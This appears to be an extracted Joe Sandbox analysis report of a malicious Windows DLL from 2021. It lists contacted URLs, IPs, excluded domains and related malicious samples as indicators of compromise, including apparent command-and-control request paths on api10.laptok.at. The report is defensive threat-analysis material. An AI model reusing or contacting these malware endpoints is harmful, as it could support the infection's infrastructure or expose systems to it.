FRP7wVauo/K_2FZsHvY_2BQo_2B8KvW/kveNSQqUDIB8KWkD/_2BFdRg0RIG_2BM/KBDjb
lq5CBzqopMAX_/2BiqcvBwe/7091jLT4LvMbkLNdIBL_/2FJrqtJSJIzTB5wtJ4U/pKouwXKTg9H
_2FU5iFL7fr/G5kdpSuG0DFl4/78sStOBq/1KCwgfl2cve2_2B91ieBA_2/BG_2BoI5kj/vpZCVzw
wZvJx0j7Ia/gE7Fru2i7y88/pRsD_2Fy5JZ/pq9kw97v_2BgUx/yAzHUV1dSPgWD6UrhGUax/xyL
8sVq_2BL2eSk/cu1E

false Avira URL Cloud: safe unknown

api10.laptok.at/favicon.ico false Avira URL Cloud: safe unknown

api10.laptok.at/api1/jzRoxFaC/VGe9D7ZFmtXM2P4WCtXue9i/9UasgR41C7/sUfUr2FPy8aFK
QY_2/Bz_2Bn96rDq4/tc7hI4JWi9m/eAoTwSqab6IBJQ/rTwjMGXE3TRb_2FfjUanN/uq7E8yfih5
MI9t0m/qpGu2Sq1UQFLURx/pZERC59_2BSrD1zxX_/2FLMHRYnS/Ogu9FB1M7pDsaHxJB5
Qy/wnhAaa5h1vW_2FtCzN_/2BnK5hTB5fTJiaqUovmqWy/Ja6s_2BdtmTOE/X8q6_2F2/V3tdgi
IR_2BIp0Hf7KFyggN/xa_2BvXTdf/7xkiiYsdPc4BVaNQ5/VezMmr_2BFNF/qenARXrgKUh/s4DI
WvPVD/dh9Eh3

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

searchads.msn.net/.cfm?&&kp=1& ~DFD10CE9AADA4C4DBB.TMP.3.dr false high

https://www.msn.com/de-ch/news/other/interview-
sicherheitsdirektor-mario-fehr-90-prozent-der-abgewie

de-ch[1].htm.5.dr false high

https://contextual.media.net/medianet.php?
cid=8CU157172

de-ch[1].htm.5.dr false high

https://www.msn.com/de-ch/nachrichten/coronareisen de-ch[1].htm.5.dr false high

https://onedrive.live.com;Fotos 85-0f8009-68ddb2ab[1].js.5.dr false Avira URL Cloud: safe low

constitution.org/usdeclar.txtC: regsvr32.exe, 00000001.0000000
2.455040534.00000000042F0000.0
0000040.00000001.sdmp, powersh
ell.exe, 00000021.00000003.428
480646.000001F9546C0000.000000
04.00000001.sdmp, control.exe, 
00000026.00000003.420376736.0
00001A5E0F30000.00000004.00000
001.sdmp

false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://file://USER.ID%lu.exe/upd regsvr32.exe, 00000001.0000000
2.455040534.00000000042F0000.0
0000040.00000001.sdmp, regsvr32.exe, 
00000001.00000003.406882710.00000
00004330000.00000004.00000001.
sdmp, powershell.exe, 00000021
.00000003.428480646.000001F954
6C0000.00000004.00000001.sdmp, 
control.exe, 00000026.0000000
3.420376736.000001A5E0F30000.0
0000004.00000001.sdmp

false Avira URL Cloud: safe low

https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn

de-ch[1].htm.5.dr false high

https://office.live.com/start/Word.aspx?
WT.mc_id=MSN_site;Excel

85-0f8009-68ddb2ab[1].js.5.dr false high

ogp.me/ns/fb# de-ch[1].htm.5.dr false high

https://www.awin1.com/cread.php?
awinmid=15168&awinaffid=696593&clickref=de-ch-ss&ued=htt

de-ch[1].htm.5.dr false high

api10.laptok.at/api1/gtYC_2BK_2FjCAsja/Qyq2AzjFZWki/EyF
B_2F9syK/YEZOamZx4Lsvyb/NcUbBRiZnrBjBY

{CBE48857-7017-11EB-90E4-ECF4B
B862DED}.dat.3.dr, ~DFF92503A5
7F2E6FA1.TMP.3.dr

false Avira URL Cloud: safe unknown

https://outlook.live.com/mail/deeplink/compose;Kalender 85-0f8009-68ddb2ab[1].js.5.dr false high

https://res-
a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg

~DFD10CE9AADA4C4DBB.TMP.3.dr false high

https://www.skyscanner.net/g/referrals/v1/cars/home?
associateid=API_B2B_19305_00002

de-ch[1].htm.5.dr false high

https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn

85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.msn.com/de-ch/?ocid=iehp$ ~DFD10CE9AADA4C4DBB.TMP.3.dr false high

schemas.xmlsoap.org/ws/2005/05/identity/claims/name powershell.exe, 00000021.00000
002.473361797.000001F93BC01000
.00000004.00000001.sdmp

false high

www.reddit.com/ msapplication.xml4.3.dr false high

https://www.skype.com/ de-ch[1].htm.5.dr false high

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_shar
pen%2Ch_311%2Cw_207%2Cc_fill%

auction[1].htm.5.dr false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://sp.booking.com/index.html?
aid=1589774&label=travelnavlink

de-ch[1].htm.5.dr false high

https://www.msn.com/de-ch/nachrichten/regional de-ch[1].htm.5.dr false high

https://i.geistm.com/l/HFCH_DTS_LP?
bcid=5e875ab70e43d27d2b9a8191&bhid=5f624df5866933554
eb1ec8b&a

de-ch[1].htm.5.dr false Avira URL Cloud: safe unknown

pesterbdd.com/images/Pester.png powershell.exe, 00000021.00000
002.473644124.000001F93BE0D000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://onedrive.live.com/?qt=allmyphotos;Aktuelle 85-0f8009-68ddb2ab[1].js.5.dr false high

www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000021.00000
002.473644124.000001F93BE0D000
.00000004.00000001.sdmp

false high

https://amzn.to/2TTxhNg de-ch[1].htm.5.dr false high

https://www.skype.com/go/onedrivepromo.download?
cm_mmc=MSFT_2390_MSN-com

85-0f8009-68ddb2ab[1].js.5.dr false high

https://client-s.gateway.messenger.live.com 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.msn.com/de-ch/ de-ch[1].htm.5.dr false high

https://office.live.com/start/PowerPoint.aspx?
WT.mc_id=MSN_site

85-0f8009-68ddb2ab[1].js.5.dr false high

https://contextual.media.net/medianet.php?
cid=8CU157172&crid=858412214&size=306x271&https=1

~DFD10CE9AADA4C4DBB.TMP.3.dr false high

https://www.awin1.com/cread.php?
awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-
river

de-ch[1].htm.5.dr false high

https://www.msn.com/de-ch de-ch[1].htm.5.dr false high

https://click.linksynergy.com/deeplink?
id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_store&m

de-ch[1].htm.5.dr false high

https://twitter.com/i/notifications;Ich 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.awin1.com/cread.php?
awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-
infopa

de-ch[1].htm.5.dr false high

https://github.com/Pester/Pester powershell.exe, 00000021.00000
002.473644124.000001F93BE0D000
.00000004.00000001.sdmp

false high

https://contextual.media.net/medianet.php?
cid=8CU157172&crid=722878611&size=306x271&http

de-ch[1].htm.5.dr false high

Name Source Malicious Antivirus Detection Reputation
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constitution.org/usdeclar.txt regsvr32.exe, powershell.exe, 
00000021.00000003.428480646.00
0001F9546C0000.00000004.000000
01.sdmp, control.exe, 00000026
.00000003.420376736.000001A5E0
F30000.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.sway.com/?
WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topn
av&utm_campaign=link;PowerPoin

85-0f8009-68ddb2ab[1].js.5.dr false high

crl.microsof powershell.exe, 00000021.00000
003.384916588.000001F95436F000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.msn.com/de-
ch/news/other/verst%c3%b6sst-die-nationalit%c3%a4ten-
initiative-der-svp-gegen

de-ch[1].htm.5.dr false high

https://www.msn.com/de-ch/?
ocid=iehp&item=deferred_page%3a1&ignorejs=webcore%2fm
odules%2fjsb

de-ch[1].htm.5.dr false high

www.youtube.com/ msapplication.xml7.3.dr false high

ogp.me/ns# de-ch[1].htm.5.dr false high

https://onedrive.live.com/?qt=mru;OneDrive-App 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.skype.com/de 85-0f8009-68ddb2ab[1].js.5.dr false high

https://sp.booking.com/index.html?
aid=1589774&label=dech-prime-hp-me

de-ch[1].htm.5.dr false high

https://www.skype.com/de/download-skype 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzept
e/Daten_und_Technologien/Stroeer_SSP/Downl

iab2Data[1].json.5.dr false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://www.msn.com/de-ch/nachrichten/politik/der-
spaziergang-kam-nicht-weit/ar-BB1dEdnO?ocid=hploca

de-ch[1].htm.5.dr false high

https://onedrive.live.com/?
wt.mc_id=oo_msn_msnhomepage_header

de-ch[1].htm.5.dr false high

www.hotmail.msn.com/pii/ReadOutlookEmail/ 85-0f8009-68ddb2ab[1].js.5.dr false high

https://onedrive.live.com;OneDrive-App 85-0f8009-68ddb2ab[1].js.5.dr false Avira URL Cloud: safe low

https://click.linksynergy.com/deeplink?
id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_office&

de-ch[1].htm.5.dr false high

https://geolocation.onetrust.com/cookieconsentpub/v1/geo/loc
ation

55a804ab-e5c6-4b97-9319-86263d
365d28[1].json.5.dr

false high

www.amazon.com/ msapplication.xml.3.dr false high

https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_QuickNote&auth=1

85-0f8009-68ddb2ab[1].js.5.dr false high

www.twitter.com/ msapplication.xml5.3.dr false high

https://office.live.com/start/Excel.aspx?
WT.mc_id=MSN_site;Sway

85-0f8009-68ddb2ab[1].js.5.dr false high

https://cdn.cookielaw.org/vendorlist/googleData.json 55a804ab-e5c6-4b97-9319-86263d
365d28[1].json.5.dr

false high

https://outlook.com/ de-ch[1].htm.5.dr false high

https://rover.ebay.com/rover/1/5222-53480-19255-0/1?
mpre=https%3A%2F%2Fwww.ebay.ch&campid=533862

de-ch[1].htm.5.dr false high

https://contextual.media.net/checksync.php?
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv
id=77%2

~DFD10CE9AADA4C4DBB.TMP.3.dr false high

https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceSto
rage.json

iab2Data[1].json.5.dr false Avira URL Cloud: safe unknown

https://www.msn.com/de-ch/news/other/robin-leone-
st%c3%bcrmt-wieder-f%c3%bcr-kloten/ar-BB1dHHnA?ocid

de-ch[1].htm.5.dr false high

https://cdn.cookielaw.org/vendorlist/iabData.json 55a804ab-e5c6-4b97-9319-86263d
365d28[1].json.5.dr

false high

https://www.msn.com/de-
ch/homepage/api/pdp/updatepdpdata"

de-ch[1].htm.5.dr false high

api10.laptok.at/api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI
8RwZt_2F/lJSbcpCS9kd/So9_2FRP7wVauo/K_2

{CBE48855-7017-11EB-90E4-ECF4B
B862DED}.dat.3.dr

false Avira URL Cloud: safe unknown

https://cdn.cookielaw.org/vendorlist/iab2Data.json 55a804ab-e5c6-4b97-9319-86263d
365d28[1].json.5.dr

false high

https://onedrive.live.com/?qt=mru;Aktuelle 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.msn.com/de-ch/?ocid=iehp ~DFD10CE9AADA4C4DBB.TMP.3.dr false high

https://sp.booking.com/index.html?
aid=1589774&label=dech-prime-hp-shoppingstripe-nav

de-ch[1].htm.5.dr false high

https://www.msn.com/de-
ch/homepage/api/modules/fetch"

de-ch[1].htm.5.dr false high

Name Source Malicious Antivirus Detection Reputation
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https://mem.gfx.ms/meversion/?
partner=msn&market=de-ch"

de-ch[1].htm.5.dr false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.nytimes.com/ msapplication.xml3.3.dr false high

api10.laptok.at/api1/jzRoxFaC/VGe9D7ZFmtXM2P4WCtXue9i
/9UasgR41C7/sUfUr2FPy8aFKQY_2/Bz_2Bn96rD

{CBE48859-7017-11EB-90E4-ECF4B
B862DED}.dat.3.dr

false Avira URL Cloud: safe unknown

https://web.vortex.data.msn.com/collect/v1/t.gif?
name=%27Ms.Webi.PageView%27&ver=%272.1%27&a

de-ch[1].htm.5.dr false high

https://www.bidstack.com/privacy-policy/ iab2Data[1].json.5.dr false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://onedrive.live.com/about/en/download/ 85-0f8009-68ddb2ab[1].js.5.dr false high

popup.taboola.com/german auction[1].htm.5.dr false high

https://www.msn.com/de-ch/news/other/observierung-
polizei-news-schulen-wohnungen-dar%c3%bcber-stimmt

de-ch[1].htm.5.dr false high

https://www.msn.com/de-ch/news/other/40-000-franken-
f%c3%bcr-quartier-projekte-in-wipkingen/ar-BB1dH

de-ch[1].htm.5.dr false high

https://www.ricardo.ch/?
utm_source=msn&utm_medium=affiliate&utm_campaign=msn
_mestripe_logo_d

de-ch[1].htm.5.dr false high

https://twitter.com/ de-ch[1].htm.5.dr false high

https://clkde.tradedoubler.com/click?
p=245744&a=3064090&g=24903118&epi=ch-de

de-ch[1].htm.5.dr false high

https://outlook.live.com/calendar 85-0f8009-68ddb2ab[1].js.5.dr false high

https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311
%2Cw_207%2Cc_fill%2Cg_faces:au

auction[1].htm.5.dr false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://onedrive.live.com/#qt=mru 85-0f8009-68ddb2ab[1].js.5.dr false high

https://api.taboola.com/2.0/json/msn-ch-de-
home/recommendations.notify-click?app.type=desktop&ap

auction[1].htm.5.dr false high

https://www.msn.com?form=MY01O4&OCID=MY01O4 de-ch[1].htm.5.dr false high

https://support.skype.com 85-0f8009-68ddb2ab[1].js.5.dr false high

https://www.msn.com/de-ch/news/other/finanzdirektion-
lehnt-%c3%bcberraschend-viele-h%c3%a4rtefallges

de-ch[1].htm.5.dr false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

Contacted IPs

Public
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 353246

Start date: 15.02.2021

Start time: 21:26:40

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 10m 4s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Ne6A4k8vK6.dll

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Number of analysed new started processes analysed: 40

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDLL@29/157@18/4

EGA Information: Failed

HDC Information: Successful, ratio: 23.4% (good quality ratio 22.1%)
Quality average: 79.1%
Quality standard deviation: 29.1%

HCA Information: Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.dll

34.65.144.159 unknown United States 139070 GOOGLE-AS-
APGoogleAsiaPacificPteLtd
SG

false

104.20.184.68 unknown United States 13335 CLOUDFLARENETUS false

151.101.1.44 unknown United States 54113 FASTLYUS false

IP Domain Country Flag ASN ASN Name Malicious

IP

192.168.2.1

Private
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Warnings:
Exclude process from analysis (whitelisted): 
taskhostw.exe, audiodg.exe, 
BackgroundTransferHost.exe, ielowutil.exe, 
backgroundTaskHost.exe, SgrmBroker.exe, 
WmiPrvSE.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (whitelisted): 
40.88.32.150, 168.61.161.212, 88.221.62.148, 
131.253.33.203, 204.79.197.200, 13.107.21.200, 
92.122.213.231, 92.122.213.187, 65.55.44.109, 
23.210.250.97, 204.79.197.203, 23.210.248.85, 
51.104.139.180, 152.199.19.161, 92.122.213.247, 
92.122.213.194, 2.20.142.209, 2.20.142.210, 
52.155.217.156, 20.54.26.129
Excluded domains from analysis (whitelisted): 
au.download.windowsupdate.com.edgesuite.net, 
arc.msn.com.nsatc.net, a-0003.dc-msedge.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com, 
e11290.dspg.akamaiedge.net, 
iecvlist.microsoft.com, 
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, skypedataprdcoleus15.cloudapp.net, 
go.microsoft.com, www-bing-com.dual-a-0001.a-
msedge.net, 
audownload.windowsupdate.nsatc.net, 
displaycatalog.mp.microsoft.com, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com, 
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net, 
fs.microsoft.com, dual-a-0001.a-msedge.net, 
ie9comview.vo.msecnd.net, 
global.vortex.data.trafficmanager.net, 
cvision.media.net.edgekey.net, a-0003.a-
msedge.net, 
displaycatalog.md.mp.microsoft.com.akadns.net, 
ris-prod.trafficmanager.net, 
skypedataprdcolcus17.cloudapp.net, 
e1723.g.akamaiedge.net, 
ctldl.windowsupdate.com, www-msn-com.a-0003.a-
msedge.net, a767.dscg3.akamai.net, 
a1999.dscg2.akamai.net, 
web.vortex.data.trafficmanager.net, 
e607.d.akamaiedge.net, 
web.vortex.data.microsoft.com, 
ris.api.iris.microsoft.com, a-0001.a-
afdentry.net.trafficmanager.net, icePrime.a-
0003.dc-msedge.net, 
blobcollector.events.data.trafficmanager.net, 
go.microsoft.com.edgekey.net, static-global-s-msn-
com.akamaized.net, cs9.wpc.v0cdn.net
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size getting too big, too many 
NtDeviceIoControlFile calls found.
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtProtectVirtualMemory calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.
Report size getting too big, too many 
NtReadVirtualMemory calls found.

Time Type Description

21:28:50 API Interceptor 36x Sleep call for process: powershell.exe modified

Show All

Simulations

Behavior and APIs
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Match Associated Sample Name / URL SHA 256 Detection Link Context

104.20.184.68 DUcKsYsyX0.dll Get hash malicious Browse

RI51uAIUyL.dll Get hash malicious Browse

Server.exe Get hash malicious Browse

mon48_cr.dll Get hash malicious Browse

SecuriteInfo.com.Generic.mg.5db96940e68acc98.dll Get hash malicious Browse

Wh102yYa..dll Get hash malicious Browse

SecuriteInfo.com.Generic.mg.fac603176f7a6a20.dll Get hash malicious Browse

SecuriteInfo.com.Variant.Bulz.349310.24122.dll Get hash malicious Browse

acr1.dll Get hash malicious Browse

TRIGANOcr.dll Get hash malicious Browse

BullGuard.dll Get hash malicious Browse

Jidert.dll Get hash malicious Browse

Vu2QRHVR8C.dll Get hash malicious Browse

header[1].jpg.dll Get hash malicious Browse

SimpleAudio.dll Get hash malicious Browse

cSPuZxa7I4.dll Get hash malicious Browse

umAuo1QklZ.dll Get hash malicious Browse

A6C8E866.xlsx Get hash malicious Browse

UGPK60taH6.dll Get hash malicious Browse

usd2.dll Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

tls13.taboola.map.fastly.net DUcKsYsyX0.dll Get hash malicious Browse 151.101.1.44

RI51uAIUyL.dll Get hash malicious Browse 151.101.1.44

ZRz0Aq1Rf0.dll Get hash malicious Browse 151.101.1.44

mon44_cr.dll Get hash malicious Browse 151.101.1.44

mon41_cr.dll Get hash malicious Browse 151.101.1.44

mon4498.dll Get hash malicious Browse 151.101.1.44

e888888888.dll Get hash malicious Browse 151.101.1.44

1233.exe Get hash malicious Browse 151.101.1.44

Server.exe Get hash malicious Browse 151.101.1.44

2200.dll Get hash malicious Browse 151.101.1.44

mon48_cr.dll Get hash malicious Browse 151.101.1.44

SecuriteInfo.com.Generic.mg.5db96940e68acc98.dll Get hash malicious Browse 151.101.1.44

SecuriteInfo.com.Generic.mg.fac603176f7a6a20.dll Get hash malicious Browse 151.101.1.44

8.prtyok.dll Get hash malicious Browse 151.101.1.44

SecuriteInfo.com.Variant.Bulz.349310.9384.dll Get hash malicious Browse 151.101.1.44

SecuriteInfo.com.Variant.Razy.840176.14264.dll Get hash malicious Browse 151.101.1.44

SecuriteInfo.com.Variant.Bulz.349310.24122.dll Get hash malicious Browse 151.101.1.44

login.jpg.dll Get hash malicious Browse 151.101.1.44

footer.jpg.dll Get hash malicious Browse 151.101.1.44

acr1.dll Get hash malicious Browse 151.101.1.44

contextual.media.net DUcKsYsyX0.dll Get hash malicious Browse 23.210.250.97

RI51uAIUyL.dll Get hash malicious Browse 23.210.250.97

ZRz0Aq1Rf0.dll Get hash malicious Browse 23.210.250.97

mon44_cr.dll Get hash malicious Browse 23.210.250.97

mon41_cr.dll Get hash malicious Browse 184.30.24.22

mon4498.dll Get hash malicious Browse 184.30.24.22

e888888888.dll Get hash malicious Browse 23.218.208.23

1233.exe Get hash malicious Browse 184.30.24.22

Server.exe Get hash malicious Browse 184.30.24.22

2200.dll Get hash malicious Browse 184.30.24.22

mon48_cr.dll Get hash malicious Browse 184.30.24.22

SecuriteInfo.com.Generic.mg.5db96940e68acc98.dll Get hash malicious Browse 92.122.253.103

Wh102yYa..dll Get hash malicious Browse 23.210.250.97

SecuriteInfo.com.Generic.mg.fac603176f7a6a20.dll Get hash malicious Browse 2.20.86.97

8.prtyok.dll Get hash malicious Browse 104.84.56.24

Joe Sandbox View / Context

IPs

Domains
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https://view.joesandbox.com/analysis/264763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid
https://view.joesandbox.com/analysis/262929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262929/html/none?idtype=webid
https://view.joesandbox.com/analysis/262504/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262504/html/none?idtype=webid
https://view.joesandbox.com/analysis/262493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262493/html/none?idtype=webid
https://view.joesandbox.com/analysis/262452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262452/html/none?idtype=webid
https://view.joesandbox.com/analysis/262281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262281/html/none?idtype=webid
https://view.joesandbox.com/analysis/262199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262199/html/none?idtype=webid
https://view.joesandbox.com/analysis/262189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262189/html/none?idtype=webid
https://view.joesandbox.com/analysis/261676/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261676/html/none?idtype=webid
https://view.joesandbox.com/analysis/261080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261080/html/none?idtype=webid
https://view.joesandbox.com/analysis/259355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259355/html/none?idtype=webid
https://view.joesandbox.com/analysis/259232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259232/html/none?idtype=webid
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid
https://view.joesandbox.com/analysis/264080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264080/html/none?idtype=webid
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid
https://view.joesandbox.com/analysis/263447/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263447/html/none?idtype=webid
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263442/html/none?idtype=webid
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263390/html/none?idtype=webid
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263334/html/none?idtype=webid
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263091/html/none?idtype=webid
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262934/html/none?idtype=webid
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264763/html/none?idtype=webid
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264761/html/none?idtype=webid
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264338/html/none?idtype=webid
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264263/html/none?idtype=webid
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264262/html/none?idtype=webid
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264261/html/none?idtype=webid
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264257/html/none?idtype=webid
https://view.joesandbox.com/analysis/264080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264080/html/none?idtype=webid
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264079/html/none?idtype=webid
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264062/html/none?idtype=webid
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264058/html/none?idtype=webid
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264024/html/none?idtype=webid
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263962/html/none?idtype=webid
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263678/html/none?idtype=webid
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263497/html/none?idtype=webid


SecuriteInfo.com.Variant.Bulz.349310.9384.dll Get hash malicious Browse 104.84.56.24

SecuriteInfo.com.Variant.Razy.840176.14264.dll Get hash malicious Browse 104.84.56.24

SecuriteInfo.com.Variant.Bulz.349310.24122.dll Get hash malicious Browse 104.84.56.24

login.jpg.dll Get hash malicious Browse 104.84.56.24

footer.jpg.dll Get hash malicious Browse 184.30.24.22

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

GOOGLE-AS-
APGoogleAsiaPacificPteLtdSG

CompensationClaim-1625519734-02022021.xls Get hash malicious Browse 34.66.107.230

CompensationClaim-1625519734-02022021.xls Get hash malicious Browse 34.66.107.230

SecuriteInfo.com.BehavesLike.Win32.Emotet.jc.exe Get hash malicious Browse 34.65.61.179

CompensationClaim-1828072340-02022021.xls Get hash malicious Browse 34.66.107.230

CompensationClaim-1828072340-02022021.xls Get hash malicious Browse 34.66.107.230

CompensationClaim-1378529713-02022021.xls Get hash malicious Browse 34.66.107.230

CompensationClaim-1378529713-02022021.xls Get hash malicious Browse 34.66.107.230

